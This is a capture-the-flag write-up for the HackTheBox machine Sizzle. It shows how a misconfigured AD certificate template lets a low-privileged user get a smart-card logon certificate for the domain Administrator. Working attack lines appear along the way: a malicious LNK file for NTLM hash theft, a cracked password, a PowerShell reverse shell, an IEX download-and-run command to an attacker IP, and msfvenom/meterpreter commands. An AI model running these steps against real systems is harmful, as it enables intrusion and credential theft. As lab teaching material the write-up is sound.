Sizzle @ hackthebox – Unintended: Getting a Logon Smartcard for the Domain Admin!

My writeup – how to pwn my favorite box on hackthebox.eu, using a (supposedly) unintended path. Sizzle – created by @mrb3n813 and @lkys37en – was the first box on HTB that had my favorite Windows Server Role – the Windows Public Key Infrastructure / Certification Authority.

This CA allows the low-privileged user – amanda – to issue herself a client authentication certificate, which you then used to start a remote management session with Powershell.

To root Sizzle the (supposedly) intended way, you ‘sizzled’ another the user (Kerberoasting), and then abused one special permission granted to him to use DCSync for stealing the Administrator’s hash. Pass-the-hash gives you an admin shell.

But a loophole in the configuration of the PKI lets you go from amanda to root directly.

Summary – tl;dr: amanda can edit the templates for certificates, and add the Extended Key Usages required for Smartcard Logon. Submitting a certificate request with the Administrator’s name(s) to the CA gives you a credential to impersonate the admin. Importing certificate and key onto a physical card or crypto token lets you use command line tools with the option /smartcard. In order to make these tools work you need to join a Windows box to sizzle’s domain and set up your fake DNS server with service records for this domain.

Contents

Initial Enumeration: Spotting the Windows PKI!
Confirming a theory about client certificates, and playing with revocation lists.
Enumerating domain users over Kerberos UDP.
Writing a LNK file to the share, and sniffing amanda’s hash.
Enrolling a client certificate for amanda and starting a PS Session.
Background. The UPN risk. Discovering the misconfiguration of certificate templates.
Considering potential attack vectors: Software certificates versus hardware logon tokens.
Getting a meterpreter shell and routing traffic through it.
Preparing a Certificate Signing Request on behalf of the Administrator.
Editing templates and first attempt of attack setup: msf on Windows!
Editing certificate templates and requesting ‘malicous’ client auth certificates. PSSession Let-Down.
Creating a hardware logon token for impersonating the Administrator
Proxies, fake DNS, and forwarding ports once more with proxychains socat
Joining a Windows client to the htb.local domain
Summary of the solution so far
Finally: Using the Administrator’s token!
Creating a (not really stealthy) backdoor admin

Initial Enumeration: Spotting the Windows PKI!    [>> Contents]

The portscan reveals many open ports – which tells that Sizzle is a Windows Domain Controller of a domain called htb.local. However Kerberos TCP 88 is missing – and this will come to haunt us later :-)

PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|_  SYST: Windows_NT
53/tcp    open  domain?
| fingerprint-strings: 
|   DNSVersionBindReqTCP: 
|     version
|_    bind
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html).
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after:  2020-07-02T17:58:55
|_ssl-date: 2019-01-13T16:09:41+00:00; +24s from scanner time.
443/tcp   open  ssl/http      Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after:  2020-07-02T17:58:55
|_ssl-date: 2019-01-13T16:09:42+00:00; +24s from scanner time.
| tls-alpn: 
|   h2
|_  http/1.1
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after:  2020-07-02T17:58:55
|_ssl-date: 2019-01-13T16:09:41+00:00; +23s from scanner time.
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after:  2020-07-02T17:58:55
|_ssl-date: 2019-01-13T16:09:42+00:00; +24s from scanner time.
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after:  2020-07-02T17:58:55
|_ssl-date: 2019-01-13T16:09:41+00:00; +23s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp  open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
| ssl-cert: Subject: commonName=sizzle.HTB.LOCAL
| Subject Alternative Name: othername:<unsupported>, DNS:sizzle.HTB.LOCAL
| Not valid before: 2018-07-02T20:26:23
|_Not valid after:  2019-07-02T20:26:23
|_ssl-date: 2019-01-13T16:09:41+00:00; +23s from scanner time.
| tls-alpn: 
|   h2
|_  http/1.1
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49679/tcp open  msrpc         Microsoft Windows RPC
49681/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49683/tcp open  msrpc         Microsoft Windows RPC
49686/tcp open  msrpc         Microsoft Windows RPC
49692/tcp open  msrpc         Microsoft Windows RPC
49702/tcp open  msrpc         Microsoft Windows RPC
52562/tcp open  msrpc         Microsoft Windows RPC
52582/tcp open  msrpc         Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.70%I=7%D=1/13%Time=5C3B622E%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
Service Info: Host: SIZZLE; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 23s, deviation: 0s, median: 22s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2019-01-13 17:09:41
|_  start_date: 2019-01-12 20:01:42

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 179.39 seconds

The webserver on port 80 only shows an image of sizzling bacon, but port 443 and the TLS Certificate immediately has my attention: This CRL (Certificate Revocation List) Distribution Point extension is the tell-tale sign of an Active-Directory Integrated Windows PKI – it points to an object in the configuration container of AD:

There is also an FTP server to which we can logon anonymously – but it does not hold any files nor can we put files. I have spent a while to write a python tool to fuzz other FTP folders!

I can enumerate the SMB shares some non-default SMB with smbclient:

smbclient -L //10.10.10.103 -N

       Sharename       Type      Comment
       ---------       ----      -------
       ADMIN$          Disk      Remote Admin
       C$              Disk      Default share
       CertEnroll      Disk      Active Directory Certificate Services share
       Department Shares Disk     
       IPC$            IPC       Remote IPC
       NETLOGON        Disk      Logon server share
       Operations      Disk     
       SYSVOL          Disk      Logon server share

Again, there is the signature Windows PKI share – the CertEnroll share, for downloading the CA certificate and revocation lists. The comment gives away the exact name of the server role: Active Directory Certificate Services.

Confirming a theory about client certificates, and playing with revocation lists. [>> Contents]

The Windows Certificate CA as an optional web interface – a simple ASP web application – to be found at /certsrv. Accessing it with the browser confirms that it is installed, but as expected (default config) it cannot be accessed anonymously.

So I need credentials of a Windows domain user – then I would be able to enroll for a client certificate. The Windows web server IIS allows for either 1:1 manual mapping of individual certificates or for Active-Directory-based mapping of certificates via matching the User Principal Name in the certificate – to a user with the same UPN in AD. This will also become important later, for the unintended method.

I want to confirm that I will be able to use a client certificate for something. What web applications are there? Ports 5986 and 5985 stick out – the default ports for WinRM – Windows Remote Management Service.

In order to test WinRM, I forward the relevant ports from Kali Linux to a Windows box:

socat TCP-LISTEN:5985,fork TCP:10.10.10.103:5985 &
socat TCP-LISTEN:5986,fork TCP:10.10.10.103:5986 &

If I  want to use client certificates, I better also get the validation of the server certificate right first. So I add the host name sizzle.htb.local to the hosts file on Windows, with the IP address of my Kali box, then I need the CA certificate(s).

I downloaded the CA certficate by ‘guessing’ the default HTTP download path a Windows CA uses. This is the Issuer Name as displayed in the TLS server certificate

CN = HTB-SIZZLE-CA
DC = HTB
DC = LOCAL

… so the default HTTP Path to a Windows CA certificate is:

http://sizzle.htb.local/CertEnroll/sizzle.htb.local_HTB-SIZZLE-CA.crt

This URL can, as an option, be added to the certificate extension AIA – Authority Information Access – of issued certficates. Sizzle does not use that, but only has LDAP AIA URLs, so you don’t see the URL in the TLS server certificate. The web URL works nonetheless.

It is a self-signed certificate, so there is only ‘one level’ in this PKI, and I import the certificate to Trusted Root Certificatíon Authorities cert store on Windows with certmgr.msc. A test of the certificate chain with …

certutil -verify sizzle.htb.local

… fail with a revocation error as expected. The ‘serverless’ LDAP:/// URL pointing to the CRL objects is not available for two reasons: You do not find the actual LDAP server (yet), and you cannot access Active Directory anonymously.

But the CRL file is also there at the default ‘guessed’ URL – the file name being equal to the Common Name on the CA’s certificate:

http://sizzle.htb.local/CertEnroll/HTB-SIZZLE-CA.crl

Certificate revocation still fails after importing that file, because the Sizzle CA also uses the default Delta CRLs. The Base CRL hints at the existence of an ‘incremental’ Delta CRL via the extension Freshest CRL:

The Delta CRL is also available at the default HTTP URL:

http://sizzle.htb.local/CertEnroll/HTB-SIZZLE-CA+.crl

Both CRL files can be imported on the Windows box I want to use for the PSSession, using certutil or certmgr.msc:

So we are finally ready for the ‘expected error message’, trying to start an unauthenticated session with:

Enter-PSSession -ComputerName sizzle.htb.local -UseSSL

… and we indeed learn we should indeed use ClientCerts \o/

If youI got tired of playing with CRLs (to be re-imported every few days) you can also skip the revocation check directly in Powershell:

Enter-PSSession -ComputerName sizzle.htb.local -UseSSL -SessionOption(New-PSSessionOption -skipRevocationcheck)

Enumerating domain users over Kerberos UDP. [>> Contents]

I consider brute-forcing the password for a user, and I need to confirm which users actually existed. I mount all SMB shares I can, incl. the share Department  Shares

mount.cifs '//sizzle/Department Shares' smbfs

Contents of smfs

 Accounting      Devops    Infrastructure   Marketing   Tax
 Audit           Finance   IT              'R&D'        Users
 Banking         HR        Legal            Sales       ZZ_ARCHIVE
 CEO_protected   Infosec  'M&A'             Security

The  folder Users contains a bunch of sub-folders:

amanda      bill  chris  joe   lkys37en  mrb3n
amanda_adm  bob   henry  jose  morgan    Public

… from whose names and a bunch of default names (as Administrator or guest) I create a list of potential users – users.txt:

administrator
guest
DefaultAccount
amanda
amanda_adm
bill
bob
chris
henry
joe
jose
lkys37en
morgan
mrb3n

nmap has a script for enumerating users over Kerberos UDP 88. This port is accessible externally, in contrast to TCP 88:

nmap -sU -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='htb.local',userdb=users.txt -vvv 10.10.10.103

I can confirm that guest, amanda and Administrator do exist

PORT   STATE         SERVICE      REASON
88/udp open|filtered kerberos-sec no-response
| krb5-enum-users:
| Discovered Kerberos principals
|     administrator@htb.local
|     amanda@htb.local
|_    guest@htb.local

However, I was not able to brute-force amanda’s password in a reasonable time. I think hydra cannot do a NTLM logon, but only Basic Authentication. But the trace of an attempt to logon via the browser shows the NTLM logon:

Writing a LNK file to the share, and sniffing amanda’s hash. [>> Contents]

Having tried to also brute-force the logon over SMB unsuccessfully( with hydra and the metasploit module smb_login) I inspect poke around the shares again. Finally, I realize that I can write to the folder /Users/Public in the share Department Shares.

What if somebody – a simulated amanda user hopefully – would ‘look’ at files I write periodically? So I re-use part of what I have done on the box Ethereal, and create a ‘malicious’ shortcut file – a link pointing to my own box.

I used the powershell commands provided in in this article to create a simple LNK file:

$objShell = New-Object -ComObject WScript.Shell
$lnk = $objShell.CreateShortcut("test.lnk")
$lnk.TargetPath = "\\10.10.14.21\share"
$lnk.WindowStyle = 1
$lnk.IconLocation = "%windir%\system32\shell32.dll, 3"
$lnk.Description = "Hi there"
$lnk.HotKey = "Ctrl+Alt+O"
$lnk.Save()

I started responder on Kali as my fake file file server with

responder -wrf -v -I tun0

… then copy by test.lnk to the folder /Users/Public, and immediately get a callback. I can collect lots of hashes, like this one:

[SMBv2] NTLMv2-SSP Client   : 10.10.10.103
[SMBv2] NTLMv2-SSP Username : HTB\amanda
[SMBv2] NTLMv2-SSP Hash     : amanda::HTB:0ca7982a6e25e95b:4281E64C70D54C315DD06861D421C2D5:0101000000000000C0653150DE09D2013E33784022E5E1CD000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D201060004000200000008003000300000000000000001000000002000000A1A989A69067922647E05D8B94A1515425B93A3DFC90D4731FD9EBAD8C7C05F0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E0031003900000000000000000000000000

The hash can be cracked quickly with hashcat. Checking the list of example hashes shows that we need hash type 5600 for cracking NTLMv2 hashes:

hashcat64.exe -m 5600 _hashes\sizzle-amanda.txt _wordlists\rockyou.txt

Now I have amanda’s password:

Ashare1972

Enrolling a client certificate for amanda and starting a PS Session. [>> Contents]

I can finally logon to the /certsrv web application as amanda. This website lets you either use a certificate signing request you generated with any tool – like openssl or certreq on Windows. You could also let the web site trigger the key generation for you. I wanted the certificate as quickly as possible, so I picked the latter method (I am going to show the file-based method in the part about the unintended way).

Socat-ing port 443 to the Windows box, and started Internet Explorer, entering the user HTB\amanda and password …

Click on Request a certificate shows the page with the two options:

Advanced certificate request refers to either sending a pre-created CSR or to changing certificate attributes. I pick User Certificate which is for doing a next-next-finish key generation and request submission, pulling all needed attributes from Active Directory:

Clicking Submit may result in error if this server had not been added to the Intranet Zone in IE Security settings. After fixing that, I get the ActiveX popup – now a key is generated in my personal certificate store and the request sent to the Sizzle CA:

OK … waiting for the response … and one more ActiveX popup:

Finally the certificate is ‘installed‘, that is imported to the personal store and re-united with its key. (Save response give you the option to also save the BASE64-encoded certificate.)

The certificate is now visible under Personal Certificate in certmgr.msc or can be checked with certutil:

certutil -store -user my

Relevant part of the output :

...
================ Certificate 8 ================
Serial Number: 6900000016942f3e8913c6b5ec000000000016
Issuer: CN=HTB-SIZZLE-CA, DC=HTB, DC=LOCAL
 NotBefore: 17.01.2019 17:38
 NotAfter: 17.01.2020 17:38
Subject: CN=amanda, CN=Users, DC=HTB, DC=LOCAL
Certificate Template Name (Certificate Type): User
Non-root Certificate
Template: User
Cert Hash(sha1): 04b832d04ec8ae222aa24a80ac064f481d2abc15
  Key Container = {FD89D358-0EA3-49C9-B102-48EFB2C24D5F}
  Unique container name: 1d1f0d178a2e6518c18d17f5d6e8e881_daa0af9e-c489-45ac-9159-1f80602318c7
  Provider = Microsoft Enhanced Cryptographic Provider v1.0
Encryption test passed
CertUtil: -store command completed successfully.

The verbose output of certutil

certutil -v -store -user my 04b832d04ec8ae222aa24a80ac064f481d2abc15

… shows (among many other extensions) that this a multi-purpose certificate for Client Authentication, E-Mail, and Encrypting File System. It also contains amanda’s User Principal Name which maps the certificate to a user for logon purposes:

...
2.5.29.37: Flags = 0, Length = 22
Enhanced Key Usage
Encrypting File System (1.3.6.1.4.1.311.10.3.4)
Secure Email (1.3.6.1.5.5.7.3.4)
Client Authentication (1.3.6.1.5.5.7.3.2)

2.5.29.17: Flags = 0, Length = 24
Subject Alternative Name
Other Name:
Principal Name=amanda@HTB.LOCAL
...

The sha1 hash is used in the PS command to refer to that certificate, and finally we can logon as amanda!

Enter-PSSession -ComputerName sizzle.htb.local -UseSSL -CertificateThumbprint 04b832d04ec8ae222aa24a80ac064f481d2abc15

… or if my imported CRLs have been expired, using:

Enter-PSSession -ComputerName sizzle.htb.local -UseSSL -SessionOption(New-PSSessionOption -skipRevocat
ioncheck) -CertificateThumbprint 04b832d04ec8ae222aa24a80ac064f481d2abc15

And I am amanda! \o/

[sizzle.htb.local]: PS C:\Users\amanda\Documents>

The good thing about all certificate created for accessing sizzle: They will also remain valid when the box is reset! The DC validates the certicate path, attributes, dates, and revocation status, but the CA does not check if the certificate is in its database!

Background. The UPN risk. Discovering the misconfiguration of certificate templates. [>> Contents]

Certificate templates are LDAP objects whose attributes define how future certificates created from this templates will look like, and who can enroll for these templates. If you can edit all properties of a certificate template or create a new one, you can become whoever you want in a Windows AD forest:

If AD-based mapping is enabled in applications using certificates for logon, User Principal Names in certificates are automatically mapped to the AD user with the corresponding userPrincipalName attribute of the user’s LDAP object. So mapping is based on a string ‘only’. Why is that secure? Because any application using AD for logon also checks if the CA’s certificate has been imported into a special object in the PKI Services container (NTAuth). This object can per Default be only managed by Enterprise Admins – and so can certificate templates!

The following templates are available for amanda at (‘published to’) the Sizzle CA, as the dropdown menu in the certsrv application (advanced options, file-based request) shows: I do not want to mess up other hackers’ certificate requests – I focus on the template for the server – SSL – assuming that anybody will try to use templates related to User…. So I check out the permissions on certificates with

certutil -v -dstemplate

That command also runs in the constrained powershell shell. It results in a super detailed list of all attributes of all templates in AD! This is the start of the output for the SSL template – and *yikes*:

Authenticated Users, that is every user and every computer account in the forest(!) are able to change that template!

[SSL]
    objectClass = "top", "pKICertificateTemplate"
    cn = "SSL"
    distinguishedName = "CN=SSL,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=HTB,DC=LOCAL"
    instanceType = "4"
    whenCreated = "20180703180611.0Z" 7/3/2018 1:06 PM
    whenChanged = "20180703180645.0Z" 7/3/2018 1:06 PM

    displayName = "SSL"
    uSNCreated = "16440" 0x4038
    uSNChanged = "16445" 0x403d
    showInAdvancedViewOnly = "TRUE"
    nTSecurityDescriptor = "D:PAI(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;DA)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-2379389067-1826974543-3574127760-519)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;LA)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU)"

    Allow Full Control    HTB\Domain Administrators
    Allow Full Control    HTB\Enterprise Admins
    Allow Full Control    HTB\Administrator
    Allow Full Control    NT AUTHORITY\Authenticated Users

So far, this template is only for Server Authentication, but it already has a desired property: Names can be sent in the request, as you would expect for a server certificate:

    name = "SSL"
    objectGUID = "50e0c82d-3a98-4bab-98a0-a8cf58e27c86"
    flags = "131649" 0x20241
    CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT -- 1
      (CT_FLAG_ADD_EMAIL -- 2)
      (CT_FLAG_ADD_OBJ_GUID -- 4)
      (CT_FLAG_PUBLISH_TO_DS -- 8)
      (CT_FLAG_EXPORTABLE_KEY -- 10 (16))
      (CT_FLAG_AUTO_ENROLLMENT -- 20 (32))
    CT_FLAG_MACHINE_TYPE -- 40 (64)
      (CT_FLAG_IS_CA -- 80 (128))
      (CT_FLAG_ADD_DIRECTORY_PATH -- 100 (256))
    CT_FLAG_ADD_TEMPLATE_NAME -- 200 (512)
      (CT_FLAG_ADD_SUBJECT_DIRECTORY_PATH -- 400 (1024))
      (CT_FLAG_IS_CROSS_CA -- 800 (2048))
      (CT_FLAG_DONOTPERSISTINDB -- 1000 (4096))
      (CT_FLAG_IS_DEFAULT -- 10000 (65536))
    CT_FLAG_IS_MODIFIED -- 20000 (131072)
      (CT_FLAG_IS_DELETED -- 40000 (262144))
      (CT_FLAG_POLICY_MISMATCH -- 80000 (524288))

If we only had the User template, we’d be required to this flag to allow the ‘enrollee’ to supply a name. Then amanda can add any UPN of her liking to a logon certificate, like Administrator@HTB.LOCAL, and the CA will accept it.

The Extended Key Usage will need amendment:

    pKIExtendedKeyUsage = "1.3.6.1.5.5.7.3.1" Server Authentication

Considering potential attack vectors: Software certificates versus hardware logon tokens. [>> Contents]

This  could be potentially abused in two ways:

Issue a (software-based) client authentication certificate in the Administrator’s name and use that to enter a PSSession as the admin. It requires to add the UPN and to include the EKU Client Authentication – as Powershell checks for that. Spoiler: Certificate issuance does work, but the logon finally does not. Domain Admins are not allowed to use WinRM.

Issue a (software-based) certification also including the Extended Key Usage called Smart Card Logon. Then use windows cmd line tools that have the option /smartcard. Candidate commands are:

net use \\sizzle.htb.local\c$ /smartcard

runas /smartcard cmd

The latter should require – or is at least much easier and straight-forward when you have – a client joined to sizzle’s domain! But that is something that should work for a low-privileged user. Years ago I used to renew a (legit ;-)) smartcard as a member of domain whose network I hardly every entered: I regularly joined a test box to this domain over VPN – so I am determined to join a box to HTB.LOCAL now!

But in order to join a box to the domain, logon, or also to edit template using the Certificate Templates Management console, I needed access to  all the ports!

Getting a meterpreter shell and routing traffic through it. [>> Contents]

The powershell shell is limited, as a test of the language mode shows:

[sizzle.htb.local]: PS
C:\Users\amanda\Documents> $ExecutionContext.SessionState.LanguageMode

ConstrainedLanguage

Fortunately version 2 of Powershell is available, so this can be bypassed with

[sizzle.htb.local]: PS C:\Users\amanda\Documents> powershell.exe -version 2 -c 'write-host $ExecutionContext.SessionState.LanguageMode'

FullLanguage

I wanted to get a meterpreter shell to be able to forward not externally exposed ports. After zillions of failed attempts to run a payload despite Defender (Ebowla, unicorn…) this was the method that worked reliably for me:

Get a simple ‘nishang’ shell, by running this code …

$client = New-Object System.Net.Sockets.TCPClient('10.10.14.21',8998);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

… from a script on my webserver:

[sizzle.htb.local]: PS C:\Users\amanda\Documents> powershell.exe -version 2 -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.21:81/nishang.ps1')"

I receive the simple shell with metasploit using this handler:

use exploit/multi/handler
set payload windows/x64/shell_reverse_tcp
set LHOST 10.10.14.21
set LPORT 8998
exploit -j

Prepare a psh (powershell) payload:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.21 LPORT=8999 -f psh -o sh.ps1

Start ahandler for meterpreter – 2nd stage encoding iss crucial, otherwise the shell dies immediately, killed by Defender I guess:

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.21
set LPORT 8999
set ExitOnSession false
set EnableStageEncoding true
exploit -j

I run the powershell payload via the msf module, using the simple shell session (1):

use post/windows/manage/powershell/load_script
set SCRIPT sh.ps1
set SESSION 1

… and I now have two sessions. Since msf I often needed two attempts, so I have now simple shell session 1 and meterpreter session 3:

msf5 post(windows/manage/powershell/load_script) > sessions

Active sessions
===============

  Id  Name  Type                     Information          Connection
  --  ----  ----                     -----------          ----------
  1         shell x64/windows                             10.10.14.21:8998 -> 10.10.10.103:65378 (10.10.10.103)
  3         meterpreter x64/windows  HTB\amanda @ SIZZLE  10.10.14.21:8999 -> 10.10.10.103:65384 (10.10.10.103)

The benefit of the meterpreter shell is the option to route otherwise inaccessible ports to my Kali box. I set en entry for the to-be-created socks proxy server in my /etc/procxhains.conf

...
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
# socks4        127.0.0.1 9050
socks4  127.0.0.1 8088
...

A socks proxy is created as a job in metasploit:

use auxiliary/server/socks4a
set SRVPORT 8088
run

… and I finally route traffic for sizzle through the meterpreter session 3

route add 10.10.10.0 255.255.255.0 3

Preparing a Certificate Signing Request on behalf of the Administrator. [>> Contents]

Certificate templates dictate some of the properties of a certificate, so you only need to add the attributes and extensions that you can actually enforce. I created all CSRs with the Certificates MMC (certmgr.msc) for the current user.

The request has to include the UPN in the Subject Alternative Name. In case some non-default name-mapping is in place I also make sure the subject name is correct – as cross-checked with the properties of the Administrator user in AD, in amanda’s PSSession:

[sizzle.htb.local]: PS C:\> $users = get-aduser -filter *
[sizzle.htb.local]: PS C:\> $users
DistinguishedName : CN=Administrator,CN=Users,DC=HTB,DC=LOCAL
Enabled           : True
GivenName         :
Name              : Administrator
ObjectClass       : user
ObjectGUID        : fcf33152-0104-4ccb-8db6-3ec7f3549ca8
SamAccountName    : Administrator
SID               : S-1-5-21-2379389067-1826974543-3574127760-500
Surname           :
UserPrincipalName :

Note that the UPN is empty –  as is the UPN of all AD Users. But yet, amanda’s logon certificate had the UPN, so some ‘default name rounting’ is in place.

Now craft a custom request, using this information:

Make also sure that the key is exportable, and matches the minimum size. The minimum size is displayed in the certutil dump of the templates’ properties inspected earlier.

    msPKI-Minimal-Key-Size = "2048" 0x800

For usage on a smartcard, the cards chip and middleware also needs to support that size. I use a ‘legacy’ crypto provider which does not matter.

Next – next – finish, save the BASE64 file. Check the contents of the request with certutil to make sure the UPN is included

certutil Administrator-2018bit.req.txt...
Attribute[3]: 1.2.840.113549.1.9.14 (Certificate Extensions)
Value[3][0], Length = ae
Certificate Extensions: 5
2.5.29.17: Flags = 0, Length = 2b
Subject Alternative Name
    Other Name:
        Principal Name=administrator@htb.local
...

Editing templates and first attempt of attack setup: msf on Windows! [>> Contents]

I installed metasploit directly on Windows and repeated all the steps described above. I used a Windows domain controller, because I wanted to  forward DNS queries from my DC to sizzle.htb.local, using the Sizzle box as a Conditional Forwarder for the domain htb.local:

It is not sufficient to configure a hosts record for sizzle.htb.local as the Windows logon requires correct replies to queries for several service  – SRV – records. But I can not configure Sizzle as the primary DNS server for that box – as this box also had to maintain the openVPN connection! So my DC forwarded requests to Sizzle:

C:\hackthebox>nslookup
Default Server:  localhost
Address:  127.0.0.1

> sizzle.htb.local
Server:  localhost
Address:  127.0.0.1

Non-authoritative answer:
Name:    sizzle.htb.local
Addresses:  dead:beef::6d6e:7369:708a:e8a8
          10.10.10.103

After I started the WinRM session on this Windows DC, I could automagically access services on Sizzle via Microsoft Management Consoles, as described here, and it seems the externally available RPC/DCOM ports were sufficient. I was able to use also other MMCs, such as Active Directory Users and Computers:

… and the desired Certificate Templates console. I re-targeted my console to Sizzle:

Here is the template SSL we want to abuse:

Editing certificate templates and requesting ‘malicous’ client auth certificates. PSSession Let-Down. [>> Contents]

I just  change the Extended Key Usage / Application Policy Extensions to include also Client Authentication

After saving the template, new certificates submitted at the /certsrv web application will show the updated Extended Key Usages. I am using the ‘advanced’ request options – as no new key is generated but just a file HTTP POSTed, there is no ActiveX control troublsehooting involved:

Note: You could add the UPN ‘again’ in the Attributes field, using the sytax

UPN:administrator@htb.local

But this is only required if the CSR does not yet contain the UPN, and using the form field requires an additional registry flag to be set at the CA. However, re-adding the UPN here does not hurt either…

The certificate is again returned immediately – it shows the intended UPN and these EKUs

Client Authentication (1.3.6.1.5.5.7.3.2)
Server Authentication (1.3.6.1.5.5.7.3.1)

However, logging on to the PSSession fails! It also does for a certificate for the other Domain Administrator sizzler@htb.local, it does not help to remove Server Authentication or spell the domain as HTB.LOCAL. So Domain Admins are not alloed to use WinRM:

So I need to turn to the harder option 2 …

Creating a hardware logon token for impersonating the Administrator [>> Contents]

I have to import the certificate to a USB crypto token (which has the same type of chip as a smartcard)!

First I need to go back to the Certificate templates console and add also the EKU Smartcard Logon. I also removed Server Authentication (Superfluous extensions may or may not break something – it’s all up to the application using a certificate).

Then I re-submit the CSR for administrator@HTB.LOCAL (you don’t have to create a new CSR) and receive a new certificate with these EKUs. The certificate is imported to the local user’s store where I had created the CSR – double-click and confirm the import to Personal.

This is literally the key to the kingdom:

Fortunately, I have some SafeNet eTokens for tests!

To transfer the certificate and key, it has to be exported to a pfx file first. Again, I use certmgr.msc – copy to file, select to export also the key:

I installed the SafeNet Authentication Client – middleware / crypto provider plus management tools, set a PIN, and use the function to import a certificate from a (pfx) file:

Proxies, fake DNS, and forwarding ports once more with proxychains socat [>> Contents]

The following turned out to be more difficult than expected – I am summarizing hours of testing as: Seems you cannot force Kerberos over a proxy on Windows, ‘proxychains-style’.

I tested several different proxy tools for Windows, the most promising was proxyfier. The simpler ones can’t handle the more low-level applications anyway, but proxyfier has an option to deal with Windows services. it seems it can work as a Winsock proxy. If I recall correctly, there are differen sorts of proxies in Windows, and SMB uses winsock. So least I finally could forward SMB that way, so accessing share anonymously works. But as soon as I want to use net use /smartcard, I see packets sent to TCP port 88, getting nowhere.

Proxyfier even warned me that a certain ruby application (msf) would run into an infinite loop if I tried to proxy it :-) But I could for my life not get TCP 88 proxied on Windows, so I had to re-design the whole setup!

Back to Kali  and using proxychains socat to forward all the ports routed over the meterpreter session! Kali would not care about Windows-protocol specifics, I’d call that ‘port laundering’!

I proxychain socat-ed nearly everything I saw in netstat on Sizzle, TCP and UDP, plus an RPC high port I saw later in wireshark.

Example command for TCP and UDP 88:

proxychains socat TCP-LISTEN:88,fork TCP:10.10.10.103:88 &
proxychains socat UDP-LISTEN:88,fork,reuseaddr UDP:10.10.10.103:88 &

UDP Ports forwarded:

88, 389, 464

TCP ports forwarded – the RPC high ports seem to change, so this list looked a bit different for every join. This is the ‘union’ of all ports I ever used.

21,80,88,135,139,389,443,445,464,593,636,3268,3269,9389,47001,49664,49665,49666,49667,49669,49679,49681,49683,49686,49692,49702,52562,52582,49701

